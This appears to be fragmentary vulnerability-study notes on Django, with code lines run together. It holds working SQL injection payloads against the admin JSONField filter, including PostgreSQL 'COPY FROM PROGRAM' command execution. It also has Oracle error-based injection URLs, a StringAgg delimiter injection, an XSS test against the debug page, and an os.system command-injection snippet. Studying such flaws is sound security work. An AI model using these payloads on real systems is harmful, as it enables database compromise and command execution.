http://192.168.26.128:8000/admin/vuln/collection/?detail__a'b=123

Collection.objects.filter(**dict("detail__a'b": '1')).all()

http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3b create table cmd_exec(cmd_output text)--%20

http://192.168.26.128:8000/admin/vuln/collection/?detail__title')%3d'1'or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'touch /tmp/vuln.txt'--%20

WHERE (field->'[key_name]') = 'value'

20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

http://your-ip:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

http://your-ip:8000/vuln2/?q=0.05))) FROM "VULN_COLLECTION2"  where  (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

https://github.com/django/django/commit/eb31d845323618d688ad429479c6dda973056136

from django.contrib.postgres.aggregates import StringAgg

delimiter_expr = Value(str(delimiter))

sql = "SELECT * FROM user_contacts WHERE username = %s"user = 'test'cursor.execute(sql, [user])

sql = "SELECT * FROM user_contacts WHERE username = %s" % 'test'cursor.execute(sql)

class Value(Expression):    """Represent a wrapped value as a node within an expression."""    def __init__(self, value, output_field=None):        """        Arguments:         * value: the value this expression represents. The value will be           added into the sql parameter list and properly quoted.         * output_field: an instance of the model field type that this           expression will return, such as IntegerField() or CharField().        """        super().__init__(output_field=output_field)        self.value = value

SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", ''') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1

'-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '

http://192.168.26.128:8000/create_user/?username=<script>alert(1)</script>

duplicate key value violates unique constraint "xss_user_username_key"DETAIL:  Key (username)=(<script>alert(1)</script>) already exists.

The above exception ({{ frame.exc_cause }}) was the direct cause of thefollowing exception

In Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn’t affect most production sites since you shouldn’t run with “DEBUG = True” (which makes this page accessible) in your production settings.

{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}

def __exit__(self, exc_type, exc_value, traceback):    if exc_type is None:        return    for dj_exc_type in (            DataError,            OperationalError,            IntegrityError,            InternalError,            ProgrammingError,            NotSupportedError,            DatabaseError,            InterfaceError,            Error,    ):        db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)        if issubclass(exc_type, db_exc_type):            dj_exc_value = dj_exc_type(*exc_value.args)            dj_exc_value.__cause__ = exc_value            if not hasattr(exc_value, '__traceback__'):                exc_value.__traceback__ = traceback            # Only set the 'errors_occurred' flag for errors that may make            # the connection unusable.            if dj_exc_type not in (DataError, IntegrityError):                self.wrapper.errors_occurred = True            six.reraise(dj_exc_type, dj_exc_value, traceback)

- Forbid access to User-Agents in settings.DISALLOWED_USER_AGENTS
- URL rewriting: Based on the APPEND_SLASH and PREPEND_WWW settings,append missing slashes and/or prepends missing "www."s.
  - If APPEND_SLASH is set and the initial URL doesn't end with a    slash, and it is not found in urlpatterns, form a new URL by    appending a slash at the end. If this new URL is found in    urlpatterns, return an HTTP redirect to this new URL; otherwise    process the initial URL as usual.
This behavior can be customized by subclassing CommonMiddleware andoverriding the response_redirect_class attribute.
- ETags: If the USE_ETAGS setting is set, ETags will be calculated fromthe entire page content and Not Modified responses will be returnedappropriately. USE_ETAGS is deprecated in favor ofConditionalGetMiddleware.

@login_required@permission_required("accounts.newTask_assess")def exportLoginCheck(request,filename): if re.match(r“*.lic”，filename):  fullname = filename else:  fullname = "/tmp/test.lic"  print fullname return HttpResponse(fullname)

 def myserve(request, filename, dirname):  re = serve(request=request,path=filename,document_root=dirname,show_indexes=True)  filestr='authExport.dat'  re['Content-Disposition'] = 'attachment; filename="' + urlquote(filestr) +'"'fullname=os.path.join(dirname,filename)  os.system('sudo rm -f %s'%fullname)  return re

1、一切输入都是不可靠的，做好严格过滤。2、验证输入，避免注入，危险函数列表：evec(),eval(),os.system(),os.popen(),execfile(),input(),compile()3、访问控制4、认证管理和session管理，url中不要带认证信息或者用户信息，给敏感信息加密，python的random和whrandom不是足够强大，要获取强大的密码，得使用n=open('/dev/urandom')data = n.read(128)5、xss6、错误处理7、不安全的存储，如base64编码密码8、ddos9、配置管理，session过期时间10、缓冲区溢出